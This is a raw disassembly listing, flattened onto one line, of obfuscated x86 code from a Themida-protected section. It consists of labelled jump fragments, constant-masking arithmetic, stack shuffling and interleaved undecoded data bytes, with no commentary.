Themida_:0058F61Aj add ecx, ebx push edx jmp loc_597C85 ; --------------------------------------------------------------------------- loc_5911B2: ; CODE XREF: Themida_:0058B60Dj add ecx, 4 xchg ecx, [esp] pop esp push 3DC2h mov [esp], ebp sub esp, 4 mov [esp], ecx jmp loc_5900D6 ; --------------------------------------------------------------------------- db 51h dd 885002B5h, 88D0F6E8h, 536658C5h, 0FFF2E8E9h, 241487FFh dd 0FFF7ACE9h db 0FFh ; --------------------------------------------------------------------------- loc_5911E9: ; CODE XREF: Themida_:00595BEDj not esi add esi, 39606905h jmp loc_58A59B ; --------------------------------------------------------------------------- dw 815Eh dd 36059BCEh, 0A41E94Ah, 685B0000h, 11Ch, 4010E9h db 0 ; --------------------------------------------------------------------------- loc_59120D: ; CODE XREF: Themida_:00596456j sub ah, 0E6h jmp loc_58D642 ; --------------------------------------------------------------------------- loc_591215: ; CODE XREF: Themida_:00595394j pop ecx mov ebx, [esp] push edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] pop esp jmp loc_58A2CE ; --------------------------------------------------------------------------- loc_59122E: ; CODE XREF: Themida_:0058CA95j xor [esp+4], edi jmp loc_58C07C ; --------------------------------------------------------------------------- loc_591237: ; CODE XREF: Themida_:0058B244j push edx mov edx, 27872A83h add edx, 5421740Ch jle loc_58F831 jmp loc_593B33 ; --------------------------------------------------------------------------- loc_59124E: ; CODE XREF: Themida_:0058CC8Bj mov edi, [esp] jmp loc_593273 ; --------------------------------------------------------------------------- aQrsH db 'QRι]H',0 db 0 ; --------------------------------------------------------------------------- loc_59125D: ; CODE XREF: Themida_:0058E140j ; Themida_:005932CBj add ebx, 5B32732h add ebx, 6C4D68B2h sub ebx, esi sub ebx, 6C4D68B2h push ecx push esi mov esi, 5B32732h mov ecx, esi pop esi jmp loc_597F97 ; --------------------------------------------------------------------------- dd 66E1005Bh, 59C80058h, 50C1B353h, 0CCFE9EB4h, 0E4C0D4F6h dd 0CBCC8005h, 6767E9h db 0 ; --------------------------------------------------------------------------- loc_59129D: ; CODE XREF: Themida_:0058BB97j xor edi, [esp] pop esp jmp loc_59524C ; --------------------------------------------------------------------------- dw 8756h dd 0D3F7241Ch, 0E9241C87h, 431Dh, 148BD331h, 0E3895324h dd 4C381h, 0C3830000h, 241C8704h, 0BBE94B5Ch, 0FFFFFF97h dd 0F7E92434h db 95h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5912D7: ; CODE XREF: Themida_:005925CDj xor edi, edx add edx, 1 jmp loc_590707 ; --------------------------------------------------------------------------- loc_5912E1: ; CODE XREF: Themida_:0058DEB6j mov [esp], ax mov al, 12h sub dh, al jmp loc_58E450 ; --------------------------------------------------------------------------- dw 0EB00h dd 238EE9h, 3545BD00h, 0D5F74C74h, 5863F581h, 0D5F72DACh dd 0C581DDF7h, 9CB0BCF5h, 0F75DEF89h, 57EFD1D7h, 45242C87h dd 33242C31h, 0A1E9242Ch, 0FE000040h, 0E8890FC9h, 80000069h dd 0CC8831E9h, 0E1885159h, 0FFDE78E9h db 0FFh ; --------------------------------------------------------------------------- loc_591339: ; CODE XREF: Themida_:0058FFB5j push 1D896B3Dh pop ebp inc ebp neg ebp jo loc_592988 add ebp, 1D896B42h mov edx, ebp pop ebp jmp loc_5964DB ; --------------------------------------------------------------------------- dw 0EE81h dd 0AB11A8A2h, 242C8156h, 57E31B65h, 0FFADF7E9h, 4EC83FFh dd 54242C89h, 3BC9E9h, 6BA2E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_59137A: ; CODE XREF: Themida_:005906AFj mov [esp], ebx mov ebx, 4 add ecx, ebx jmp loc_597037 ; --------------------------------------------------------------------------- loc_591389: ; CODE XREF: Themida_:0058D1AEj pop ebx add ecx, esi push esi mov esi, 7DF57918h inc esi xor esi, 2BFB3B91h add ecx, esi pop esi mov esi, [esp] jmp loc_592E9B ; --------------------------------------------------------------------------- loc_5913A4: ; CODE XREF: Themida_:00592DE2j add edi, ebx sub edi, 13014DF9h pop ebx push ebx jmp loc_591CC9 ; --------------------------------------------------------------------------- loc_5913B3: ; CODE XREF: Themida_:005956BCj push ecx mov ecx, esp push esi jmp loc_5963D2 ; --------------------------------------------------------------------------- dd 7465ED81h, 5BE96018h, 0BE00000Ch, 629207EFh, 3EC5BD55h dd 0BE5633A8h, 3E8611FAh, 455EF531h, 15F5814Dh, 210A8E0Dh dd 0EEC15DEEh, 3EEC105h, 0C102EEC1h, 0F68102E6h, 4A779382h dd 0E95EF001h, 21FDh ; --------------------------------------------------------------------------- loc_591400: ; CODE XREF: Themida_:005922E1j mov dl, bh mov cl, dl pop edx pop ebx shr cl, 4 jmp loc_58ACF4 ; --------------------------------------------------------------------------- dw 0EC81h dd 4, 274068h, 48F5400h, 24048324h, 24048F04h, 750268h dd 24348900h, 5E08E950h, 0F6800000h, 12C6E94Ch, 0ED810000h dd 986AA3FFh, 5F55ED81h, 0F58725FFh, 394AE9h, 0F6E95300h db 0B6h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_591453: ; CODE XREF: Themida_:0058B141j xchg esi, [esp] pop esp push dword ptr [esp] push dword ptr [esp] jmp loc_594490 ; --------------------------------------------------------------------------- dw 0C89h dd 2BB45024h, 0B65296B5h, 0FEDEF690h, 58E680CEh, 36E9D6F6h db 4Eh, 2 dup(0) ; --------------------------------------------------------------------------- loc_59147B: ; CODE XREF: Themida_:0058E8A0j pop esi jmp loc_58CFF9 ; --------------------------------------------------------------------------- db 50h, 0B4h, 0D3h dd 0FB2E480h, 550584h, 4BC48000h, 0FFB2E1E9h, 31F931FFh dd 57F931CFh, 505B5F53h, 405E089h, 83000000h, 48704E8h dd 1C895C24h, 2414F724h, 46C6685Bh, 3C890000h, 0A1E95324h dd 50000055h, 4798E9h db 0 ; --------------------------------------------------------------------------- loc_5914C9: ; CODE XREF: Themida_:0058FCCAj pop ebx add eax, 745F2862h sub eax, 3AE1D9ADh and ebp, eax pop eax add ebp, 1 xor ebp, 5DC272E2h inc ebp jmp loc_594B9B ; --------------------------------------------------------------------------- loc_5914E9: ; CODE XREF: Themida_:0058D7FFj pop eax add bl, 1 push ecx mov ch, 67h jmp loc_590B14 ; --------------------------------------------------------------------------- db 0FFh, 74h, 24h dd 48F5E04h, 48F5C24h, 0D2B6E924h, 3C87FFFFh, 24248B24h dd 24042166h, 8DB8E99Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_591516: ; CODE XREF: Themida_:0058D57Dj ; Themida_:005966BCj push ecx push 3E230A94h jmp loc_58C692 ; --------------------------------------------------------------------------- db 0FFh, 34h, 24h dd offset dword_51526C+37Dh dd 52ABB900h, 0B3E900DEh, 81FFFFF1h, 1F47A3CBh, 0B6FCE96Bh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_59153E: ; CODE XREF: Themida_:00597C32j push ebx mov ebx, 2 add ebp, ebx mov ebx, [esp] add esp, 4 xor ebp, [esp] xor [esp], ebp xor ebp, [esp] jmp loc_59637B ; --------------------------------------------------------------------------- db 0ACh, 66h, 68h dd 89662020h, 0B252240Ch, 0C0DAF6C2h, 7AE905E2h db 0B5h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_591573: ; CODE XREF: Themida_:loc_595365j ; Themida_:00597025j shl ebx, 2 and ebx, 25C8004Ch add ebx, 4ADDD8A5h mov ecx, ebx pop ebx sub ebp, ecx jmp loc_58F3EC ; --------------------------------------------------------------------------- dd 71C06866h, 24048966h, 0FF8D35E9h, 4C281FFh, 81000000h dd 4C2h, 0E3A1E900h, 0E789FFFFh, 4C781h, 0EF810000h, 4 dd 8B243C87h, 3C892424h, 81E78924h, 4ECh, 0A31AE900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5915CE: ; CODE XREF: Themida_:0058E886j pop ecx jmp loc_58A2CE ; --------------------------------------------------------------------------- dd 26E9565Bh db 0F5h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5915DB: ; CODE XREF: Themida_:0059421Aj xor [esp], ecx xor ecx, [esp] mov esp, [esp] mov [esp], ax jmp loc_58A2CE ; --------------------------------------------------------------------------- loc_5915ED: ; CODE XREF: Themida_:00597964j push ecx mov ecx, 25534DE8h sub edx, ecx pop ecx sub edx, 1C5F236Fh sub edx, 10930B62h sub edx, 38EB75F7h sub edx, 169B1BB5h jmp loc_58A2CE ; --------------------------------------------------------------------------- loc_591613: ; CODE XREF: Themida_:0058D9FDj add eax, 4 xchg eax, [esp] pop esp jmp loc_58B321 ; --------------------------------------------------------------------------- loc_59161F: ; CODE XREF: Themida_:00596747j add ebp, 4 push edi mov edi, 4 push esi push ebx jmp loc_592F62 ; --------------------------------------------------------------------------- dw 74FFh dd 8F5E0424h, 248B2404h, 68F9F724h, 636Ah, 50241489h, 67A2E99Ch dd 0CB290000h, 52D3F759h, 0E2A0E955h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_59165A: ; CODE XREF: Themida_:0058B524j inc eax jmp loc_5927B1 ; --------------------------------------------------------------------------- dd 55D831ADh, 7DB8BA52h, 7ABD09AAh, 297647E1h, 0C5815AD5h dd 0FFFFFFFFh, 8105E5C1h, 175602CDh, 4E5C123h, 5527BB53h dd 19E96B35h db 0C3h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_59168F: ; CODE XREF: Themida_:00594816j mov edx, [esp] jmp loc_597BE9 ; --------------------------------------------------------------------------- loc_591697: ; CODE XREF: Themida_:005940C1j push esi mov esi, 56167E51h jmp loc_5924A9 ; --------------------------------------------------------------------------- loc_5916A2: ; CODE XREF: Themida_:0058B446j push 4B3Ch mov [esp], eax jmp loc_58E6D6 ; --------------------------------------------------------------------------- loc_5916AF: ; CODE XREF: Themida_:00590097j mov edx, 5A1905A8h xor ebx, edx pop edx jmp loc_590910 ; --------------------------------------------------------------------------- loc_5916BC: ; CODE XREF: Themida_:00597CC3j push dword ptr [esp] jmp loc_5941D6 ; --------------------------------------------------------------------------- loc_5916C4: ; CODE XREF: Themida_:0058EFACj push ebp push eax jmp loc_597CE4 ; --------------------------------------------------------------------------- loc_5916CB: ; CODE XREF: Themida_:005943CDj sub esp, 4 mov [esp], ebx jmp loc_590B60 ; --------------------------------------------------------------------------- db 5Bh, 89h, 0C6h dd 8E6C158h, 6B72F681h, 0F329614Ah, 4EC835Eh, 0BD242C89h dd 2536581Eh, 5003EDC1h, 0FFEB16E9h, 11E943FFh db 0CCh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_591703: ; CODE XREF: Themida_:0058C3D1j pop ebp jmp loc_592834 ; --------------------------------------------------------------------------- loc_591709: ; CODE XREF: Themida_:005972F9j lodsb xor al, bl jmp loc_5921D8 ; --------------------------------------------------------------------------- db 81h, 0F1h, 0AAh dd 3171AA21h, 0D88959CBh, 0BAE6E95Bh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_591722: ; CODE XREF: Themida_:00590B82j push edx mov edx, 7B4459DFh jmp loc_5906B4 ; --------------------------------------------------------------------------- loc_59172D: ; CODE XREF: Themida_:0058ED69j sub eax, 2A0D12AAh jmp loc_58D2ED ; --------------------------------------------------------------------------- db 66h dd 6824048Bh, 4600h, 0E9240489h, 0FFFFF3AFh, 240C8B66h dd 44B468h, 24348900h, 2434FF54h, 4C4815Eh, 53000000h dd 29F1E9h db 0 ; --------------------------------------------------------------------------- loc_591765: ; CODE XREF: Themida_:0058EDFBj sub ebp, 6B080B9Ah pop edi xor ebp, edx pop edx push 1F540F2Fh pop edx jmp loc_58D9F0 ; --------------------------------------------------------------------------- dw 0BE56h dd 3FC775BDh, 0EAE9F229h db 22h, 2 dup(0) ; --------------------------------------------------------------------------- loc_591787: ; CODE XREF: Themida_:0058A5EDj xor [edi+24h], eax jmp loc_591877 ; --------------------------------------------------------------------------- loc_59178F: ; CODE XREF: Themida_:0058B005j mov ebp, [esp] jmp loc_58F99E ; --------------------------------------------------------------------------- align 4 dd 0F00059E8h, 0FECCB551h, 56ED80C5h, 2834C580h, 0B75359E8h dd 17F780D0h, 0F8004D04h, 8B5B4D2Ch, 0C4812414h, 4, 0FFF292E9h db 0FFh ; --------------------------------------------------------------------------- loc_5917C5: ; CODE XREF: Themida_:0059595Dj shl edx, 7 shr edx, 4 jmp loc_58C7B5 ; --------------------------------------------------------------------------- dd offset dword_588C64+604h dd 241C8900h, 0C24403BBh, 0F9E95063h, 47FFFF93h, 9C57C781h dd 0EB816FDCh, 13E8271Fh, 0C381FB01h, 13E8271Fh, 0E9243C8Bh dd 0FFFF8E38h ; --------------------------------------------------------------------------- loc_591800: ; CODE XREF: Themida_:0058DBDAj or eax, eax jz loc_595295 push ebp push 1E48h mov [esp], ebx push ecx mov ecx, 3A3E677Bh add [esp+4], ecx mov ecx, [esp] jmp loc_590560 ; --------------------------------------------------------------------------- loc_591823: ; CODE XREF: Themida_:0058CF28j sub ebp, 285E5EC5h jmp loc_58C06F ; --------------------------------------------------------------------------- dw 3431h dd 24343324h, 2414895Ch, 1BA8E951h db 2 dup(0) ; --------------------------------------------------------------------------- loc_59183E: ; CODE XREF: Themida_:0058B5AAj xor edi, [esp] pop esp and eax, esi jmp loc_58A40F ; --------------------------------------------------------------------------- db 81h, 0E7h, 1Fh dd 0E913022Eh, 2331h, 0F7E92EB0h, 68FFFFE1h, 13000451h dd 0D75E95Bh db 2 dup(0) ; --------------------------------------------------------------------------- loc_591866: ; CODE XREF: Themida_:0059691Ej pop edx not edx dec edx sub edx, 88B7B349h mov esi, edx jmp loc_592572 ; --------------------------------------------------------------------------- loc_591877: ; CODE XREF: Themida_:0059178Aj pop eax mov esi, [esp] push edi push esp pop edi push ebx mov ebx, 373860A7h or ebx, 78797C9Fh push edi mov edi, 7F797CBBh sub ebx, edi jmp loc_58E0F1 ; --------------------------------------------------------------------------- db 66h dd 13B96651h, 0C8016625h, 5E665966h, 56D80166h, 5317BE66h dd 6160E9h, 4FD78700h, 0F2EEEF81h, 0FB01AE18h, 0ADC3815Fh dd 294E8D2Bh, 0ADBE56C3h, 294E8D2Bh, 0DC685EF3h, 89000071h dd 0E9502434h, 0FFFFB67Bh, 240C8B66h, 14D768h, 24048900h dd 405E089h, 5000000h, 2, 2474FF50h, 0E9E5E904h, 0F581FFFFh dd 5B30402Ch, 0FFA4D1E9h db 0FFh ; --------------------------------------------------------------------------- loc_591909: ; CODE XREF: Themida_:00594979j xor edi, 0AFCAA726h push edi pop esi pop edi jmp loc_58CD07 ; --------------------------------------------------------------------------- loc_591917: ; CODE XREF: Themida_:0058D23Cj mov [esp], ebx push 2A5F18BFh pop ebx not ebx xor ebx, 63672FE0h ja loc_591B4D sub ebx, 36D208D2h mov ebp, ebx pop ebx mov ch, 8Dh push esi add edi, 4 sub edi, 4 xchg edi, [esp] jmp loc_58C6BC ; --------------------------------------------------------------------------- loc_59194E: ; CODE XREF: Themida_:00593B2Ej push eax jmp loc_59645B ; --------------------------------------------------------------------------- loc_591954: ; CODE XREF: Themida_:loc_594BC3j ; Themida_:00594DD1j sub ebp, 2C180382h pop ecx push ebp jmp loc_58CB00 ; --------------------------------------------------------------------------- loc_591961: ; CODE XREF: Themida_:0058F92Aj jmp loc_58C6EC ; --------------------------------------------------------------------------- dw 5D5Eh dd 0E9240401h, 0FFFFDF5Bh ; --------------------------------------------------------------------------- loc_591970: ; CODE XREF: Themida_:00596B44j xor ebx, esi push esi not dword ptr [esp] pop esi xchg esi, ebx add ebx, 83E9DBE6h jmp loc_593969 ; --------------------------------------------------------------------------- loc_591984: ; CODE XREF: Themida_:00592B82j add edx, ecx jmp loc_596481 ; --------------------------------------------------------------------------- db 0FFh dd 84E92434h, 5BFFFF9Fh, 5F246866h, 241C8966h, 3CB15152h dd 0C980D1F6h, 7AE98052h, 0FF9358E9h db 0FFh ; --------------------------------------------------------------------------- loc_5919AD: ; CODE XREF: Themida_:00593EB9j mov ebx, 485921D3h add ebx, 0C6A2FA8h jmp loc_58F704 ; --------------------------------------------------------------------------- loc_5919BD: ; CODE XREF: Themida_:005927B3j or eax, 73A34616h add eax, 270368AAh jmp loc_58C2D8 ; --------------------------------------------------------------------------- loc_5919CC: ; CODE XREF: Themida_:0058B4C9j ; Themida_:0058CCD7j sub eax, 4 xchg eax, [esp] pop esp jmp loc_58AC8B ; --------------------------------------------------------------------------- loc_5919DA: ; CODE XREF: Themida_:00592336j neg ebp push edi jmp loc_595716 ; --------------------------------------------------------------------------- loc_5919E2: ; CODE XREF: Themida_:00592EF7j push ebx add dword ptr [esp], 4B830C37h pop esi push edx push edi mov edi, 13BC364Eh jmp loc_58B5C2 ; --------------------------------------------------------------------------- loc_5919F7: ; CODE XREF: Themida_:0058E91Ej push edi mov edi, 0AF314A0h add edi, 61AA7A20h add edi, 0A4DD7249h sub esi, edi mov edi, [esp] add esp, 4 jmp loc_590F87 ; --------------------------------------------------------------------------- db 88h, 0C2h, 58h dd 205AD430h, 2434FFE3h, 4C48358h, 5FB35352h, 0DA28D3B2h dd 47A9E95Bh, 0D0290000h, 596CE9h, 4C38100h, 83000000h dd 1C8704EBh, 1C895C24h, 6BBF5724h, 8178E652h, 7D7FA0C7h dd 0BDEF812Eh, 559F9257h, 89F98951h, 555559CDh, 4A3494BDh dd 9D9BE938h, 0E981FFFFh, 7BE117A2h, 0E981D9F7h, 17E1A876h dd 24048151h, 55A96E03h, 81242C8Bh, 4C4h, 3B85000h, 0E955A96Eh dd 0FFFFD6DDh ; --------------------------------------------------------------------------- loc_591A9C: ; CODE XREF: Themida_:005929F7j pop edx pop edi mov edx, [esp] add esp, 4 jmp loc_58F091 ; --------------------------------------------------------------------------- loc_591AAC: ; CODE XREF: Themida_:00595B71j pop esp push eax mov eax, esp add eax, 4 push ebx mov ebx, 4 add eax, ebx jmp loc_58AE9C ; --------------------------------------------------------------------------- loc_591AC2: ; CODE XREF: Themida_:0059564Dj neg ecx jnz loc_58FD90 jmp loc_5934B9 ; --------------------------------------------------------------------------- db 87h dd 835C240Ch, 0FA8A04C4h, 4EC8151h, 89000000h, 4832424h dd 2C8B0424h, 4C48324h, 0D6ABF57h, 8EE91A73h db 0E7h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_591AF7: ; CODE XREF: Themida_:0059285Ej push ecx push 55BB4B17h jmp loc_596C75 ; --------------------------------------------------------------------------- loc_591B02: ; CODE XREF: Themida_:00597818j pop ecx inc eax and eax, 33685107h shl eax, 1 push ebx mov ebx, 1FF398Dh jmp loc_59788D ; --------------------------------------------------------------------------- dw 8966h dd 0EFBBE9D1h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_591B1E: ; CODE XREF: Themida_:00594CF2j add esp, 4 sub esp, 4 mov [esp], esi push 0C70CDF98h pop esi jmp loc_58CADA ; --------------------------------------------------------------------------- db 52h, 89h, 0E2h dd 0FFB2F6E9h db 0FFh ; --------------------------------------------------------------------------- loc_591B3D: ; CODE XREF: Themida_:0058B561j ; Themida_:0059559Aj dec edx jmp loc_58F6A0 ; --------------------------------------------------------------------------- loc_591B43: ; CODE XREF: Themida_:00597071j push eax mov ah, ch mov dh, ah jmp loc_58B154 ; --------------------------------------------------------------------------- loc_591B4D: ; CODE XREF: Themida_:00591928j sub ebx, 36D208D2h mov ebp, ebx pop ebx jmp loc_593B4E ; --------------------------------------------------------------------------- loc_591B5B: ; CODE XREF: Themida_:00596280j add ebp, 586A181Ah add ebp, 1BA2E540h add eax, ebp pop ebp pop esi jmp loc_59518A ; --------------------------------------------------------------------------- dd 8704C783h, 0E2E9243Ch, 5FFFFFACh, 5E91C781h, 0C781480Ch dd 0B5315109h, 0A6E9FB89h db 0BCh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_591B8F: ; CODE XREF: Themida_:0058DFCBj add esp, 4 jmp loc_591E6E ; --------------------------------------------------------------------------- loc_591B9A: ; CODE XREF: Themida_:0058B51Aj pop eax jmp loc_594971 ; --------------------------------------------------------------------------- loc_591BA0: ; CODE XREF: Themida_:005964F1j mov [esp], ecx sub esp, 4 mov [esp], edx mov dl, 8 jmp loc_595C9B ; --------------------------------------------------------------------------- db 59h dd 48BC301h db 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 push ebp push dword ptr [esp+4] pop ebp pop dword ptr [esp] jmp loc_58C397 ; --------------------------------------------------------------------------- loc_591BD6: ; CODE XREF: Themida_:0059367Ej push esi mov esi, 0EF9E425Ah mov edi, esi mov esi, [esp] jmp loc_58FA36 ; --------------------------------------------------------------------------- dw 0C681h dd 4, 0E904C683h, 0FFFF96B1h ; --------------------------------------------------------------------------- loc_591BF4: ; CODE XREF: Themida_:0059365Ej ; Themida_:00597749j push edi mov edi, 2 add ecx, 69122792h add ecx, 752922A3h add ecx, edi jmp loc_58F1ED ; --------------------------------------------------------------------------- db 81h, 0C6h, 0F2h dd 56F2886Ch, 2448BF57h, 90E91702h, 58FFFFD0h, 2D4EBB53h dd 0D3F723B3h, 2D51C381h, 0C68123B3h, 30857100h, 5150DE01h dd 247D1268h, 0BDE95961h, 0FFFFFC1h, 5BA988h, 6EEE8100h dd 81587554h, 5D6ABAC6h, 0E4F6814Ch, 890A0C09h, 0F8315EF7h dd 8BC7095Fh, 0C4832404h, 7EFC104h, 492BCF81h, 0EF81256Eh dd 0ECEABED8h, 0DAE9F801h, 8900004Ah, 4EC81E1h, 89000000h dd 0A5E9242Ch db 2Dh, 2 dup(0) ; --------------------------------------------------------------------------- loc_591C8F: ; CODE XREF: Themida_:00595047j xchg edx, [esp] jmp loc_58EA29 ; --------------------------------------------------------------------------- aSpsrk db 'SPιRK',0 align 2 loc_591C9E: ; CODE XREF: Themida_:00593ED6j add ebx, 0E0C6333h pop edi push eax mov eax, 7E744D80h sub eax, 0C2A0628h neg eax neg eax inc eax sub eax, 6FA30578h sub eax, 0EE4005F2h add ebx, eax pop eax push dword ptr [eax] jmp loc_58A2CE ; --------------------------------------------------------------------------- loc_591CC9: ; CODE XREF: Themida_:005913AEj mov ebx, 53D67ECFh not ebx or ebx, 5C2625D5h jmp loc_58B27B ; --------------------------------------------------------------------------- loc_591CDB: ; CODE XREF: Themida_:00595F4Fj movzx eax, al pop small word ptr [edi+eax*4] jmp loc_58A2CE ; --------------------------------------------------------------------------- loc_591CE7: ; CODE XREF: Themida_:00593631j add eax, edx jmp loc_58BC67 ; --------------------------------------------------------------------------- loc_591CEE: ; CODE XREF: Themida_:0058C505j jnb loc_593D62 shr esi, 5 jmp loc_58DA99 ; --------------------------------------------------------------------------- dd 0BBFB8951h, 49E9299Ah, 71E9D3F7h db 29h, 2 dup(0) ; --------------------------------------------------------------------------- loc_591D0B: ; CODE XREF: Themida_:00594B14j push ebx mov ebx, 43781F68h xor eax, ebx pop ebx movzx ax, byte ptr [eax] push small 62D8h mov [esp], ax jmp loc_58A2CE ; --------------------------------------------------------------------------- loc_591D25: ; CODE XREF: Themida_:0059253Bj mov [esp], ebp xchg ebp, [esp] jmp loc_5923A5 ; --------------------------------------------------------------------------- loc_591D30: ; CODE XREF: Themida_:0058A4F1j inc esi dec esi add esi, 13442878h add esi, 0E35A7AB1h xor edx, esi mov esi, [esp] add esp, 4 and eax, edx pop edx jmp loc_5937B2 ; --------------------------------------------------------------------------- aM0S db '¬0Ψι+*',0 dd 28F6400h, 0FF856DE9h db 0FFh ; --------------------------------------------------------------------------- loc_591D61: ; CODE XREF: Themida_:0058A8B4j mov ah, 6Eh mov dl, 0A5h push ax mov al, 53h add dl, al pop ax sub dl, ah push ecx mov cl, 4Dh jmp loc_590BC8 ; --------------------------------------------------------------------------- db 83h dd 143304C2h, 24143124h, 5C241433h, 0E99CC885h, 0FFFF8542h dd 0C3D2F181h, 0CB29A7F3h, 21B95159h, 411C1716h, 8106E1C1h dd 0DB3C92E9h, 66E94935h, 4DFFFFF9h, 0D155800Fh, 0F581FFFFh dd 0C8391E51h, 815DE989h, 0DF6AD7E1h, 5F850F34h, 81FFFFBDh dd 0A82FFAF1h, 1C1831Fh, 0FFB020E9h, 0FCEFEFFh, 598C80h dd 0DEF68000h, 153BE9h, 0E9F13100h, 0FFFFD8F9h ; --------------------------------------------------------------------------- loc_591DEC: ; CODE XREF: Themida_:0058ED19j mov esi, 40314BC9h jmp loc_58F5C5 ; --------------------------------------------------------------------------- loc_591DF6: ; CODE XREF: Themida_:0058ED3Ej sub [esp+8], ebp pop ebp pop ecx mov eax, [esp] add esp, 4 push ebp jmp loc_592A82 ; --------------------------------------------------------------------------- db 4Eh dd 0BFD68C0Fh, 0F681FFFFh, 0D066F37h, 9E118A0Fh, 0EED1FFFFh dd 11E95554h db 1Ah, 2 dup(0) ; --------------------------------------------------------------------------- loc_591E27: ; CODE XREF: Themida_:0058B04Cj push esi mov esi, 1AD74E82h add esi, 51EA1558h add esi, 0A111F2FCh not esi jmp loc_58EE3B ; --------------------------------------------------------------------------- dd 621ECB81h, 8D0F1CB7h, 1700h, 59F26852h, 148B0E91h, 60D9E924h dd 77FF0000h, 58669D1Ch, 9C240410h, 0FF8465E9h, 8460E9FFh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_591E6E: ; CODE XREF: Themida_:00591B95j add esp, 4 shl ebp, 6 shl ebp, 7 or ebp, 682E6ACDh sub ebp, 0FE68AA1Ah xor esi, ebp mov ebp, [esp] push edi jmp loc_58B596 ; --------------------------------------------------------------------------- db 81h, 0E6h, 0F4h dd 0C114E83Eh, 0EE8108E6h, 1D327C24h, 27D8F681h, 0F5E94B00h dd 1FFFF98h, 5E042474h, 50CBE9h db 0 ; --------------------------------------------------------------------------- loc_591EB5: ; CODE XREF: Themida_:0058D253j mov edi, edx pop edx add ebx, edi jmp loc_58FCB2 ; --------------------------------------------------------------------------- db 0Fh dd 0FFDEDC84h, 27CB81FFh, 0F3D7647h, 39868Ah, 3AEB8100h dd 88CF1CFBh db 0C6h, 8Bh, 0C2h ; --------------------------------------------------------------------------- loc_591EDB: ; CODE XREF: Themida_:00592717j pop edi add esp, 4 jmp loc_594131 ; --------------------------------------------------------------------------- db 5Bh dd 34FFD031h, 0D9E95A24h db 0C8h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_591EF3: ; CODE XREF: Themida_:005949AAj push small 3638h jmp loc_58A890 ; --------------------------------------------------------------------------- dd 81E78957h, 4C7h, 4BB5300h, 1000000h, 3C875BDFh, 1E95C24h db 3Dh, 2 dup(0) ; --------------------------------------------------------------------------- loc_591F17: ; CODE XREF: Themida_:0058C572j add esp, 4 xchg ecx, [esp] jmp loc_58AF1A ; --------------------------------------------------------------------------- dw 483h dd 0A3E90424h, 8BFFFF83h, 0E9562434h, 518Bh ; --------------------------------------------------------------------------- loc_591F34: ; CODE XREF: Themida_:0058E7EBj btr [esp], ax pushf jmp loc_58A2CE ; --------------------------------------------------------------------------- db 5Bh dd 0FF8389E9h db 0FFh ; --------------------------------------------------------------------------- loc_591F45: ; CODE XREF: Themida_:0058CDF0j mov ecx, 57BE5F7Bh sub ebx, ecx pop ecx jmp loc_592DDC ; --------------------------------------------------------------------------- loc_591F52: ; CODE XREF: Themida_:005936A1j mov esi, 144E51C9h add edx, esi pop esi add edx, 672B404Bh jmp loc_58D3C6 ; --------------------------------------------------------------------------- loc_591F65: ; CODE XREF: Themida_:00595CAEj add esp, 4 push ecx jmp loc_595CDB ; --------------------------------------------------------------------------- loc_591F71: ; CODE XREF: Themida_:0058EF84j pop ebx xchg edx, [esp] mov esp, [esp] mul cx jmp loc_58AD5E ; --------------------------------------------------------------------------- loc_591F80: ; CODE XREF: Themida_:0058F549j push edx push esp pop edx push 9DBh mov [esp], ecx jmp loc_58DDC1 ; --------------------------------------------------------------------------- dd 8105E2C1h, 0E5FBE4F2h, 5AD701BBh, 2C781h, 8F680000h dd 8900000Ah, 74FF243Ch, 5E90424h db 34h, 2 dup(0) ; --------------------------------------------------------------------------- loc_591FB3: ; CODE XREF: Themida_:00594F05j inc ecx jge loc_597AD5 and ecx, 2193139h ja loc_592140 jmp loc_5906B4 ; --------------------------------------------------------------------------- db 0E9h dd 0FFFF98AEh ; --------------------------------------------------------------------------- loc_591FD0: ; CODE XREF: Themida_:0059203Cj shl ecx, 6 js loc_58AD53 sub ecx, 0BB2A04F5h jmp loc_58D05B ; --------------------------------------------------------------------------- dd 54C48850h ; --------------------------------------------------------------------------- loc_591FE8: ; CODE XREF: Themida_:0058DA59j mov edx, 4 sub ebp, edx pop edx jmp loc_58B531 ; --------------------------------------------------------------------------- loc_591FF5: ; CODE XREF: Themida_:0058D60Dj neg ecx push ebp jmp loc_59710A ; --------------------------------------------------------------------------- loc_591FFD: ; CODE XREF: Themida_:0058F7B7j xor [esp], ebx xor ebx, [esp] pop esp jmp loc_58A2CE ; --------------------------------------------------------------------------- db 31h, 0D9h, 5Bh dd 0E789E981h, 0C831E2CCh, 0FFFB9AE9h db 0FFh ; --------------------------------------------------------------------------- loc_592019: ; CODE XREF: Themida_:0058C08Bj add esp, 4 push ecx jmp loc_594B5E ; --------------------------------------------------------------------------- dw 0ED81h dd 4F66FD4h, 4225E9h, 86E95F00h db 0C9h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_592033: ; CODE XREF: Themida_:0058B4EEj add edi, eax push eax jmp loc_58CEC2 ; --------------------------------------------------------------------------- loc_59203B: ; CODE XREF: Themida_:loc_58B095j inc ecx jg loc_591FD0 shl ecx, 6 js loc_58E019 sub ecx, 0BB2A04F5h push ecx add dword ptr [esp], 6DD019Bh loc_592059: ; CODE XREF: Themida_:00593EFBj mov esi, [esp] add esp, 4 shr esi, 2 jmp loc_58B046 ; --------------------------------------------------------------------------- db 5Eh dd 8904EC83h, 5A542414h, 4C281h, 0EA810000h, 4, 5C241487h dd 0FFE8DCE9h db 0FFh ; --------------------------------------------------------------------------- 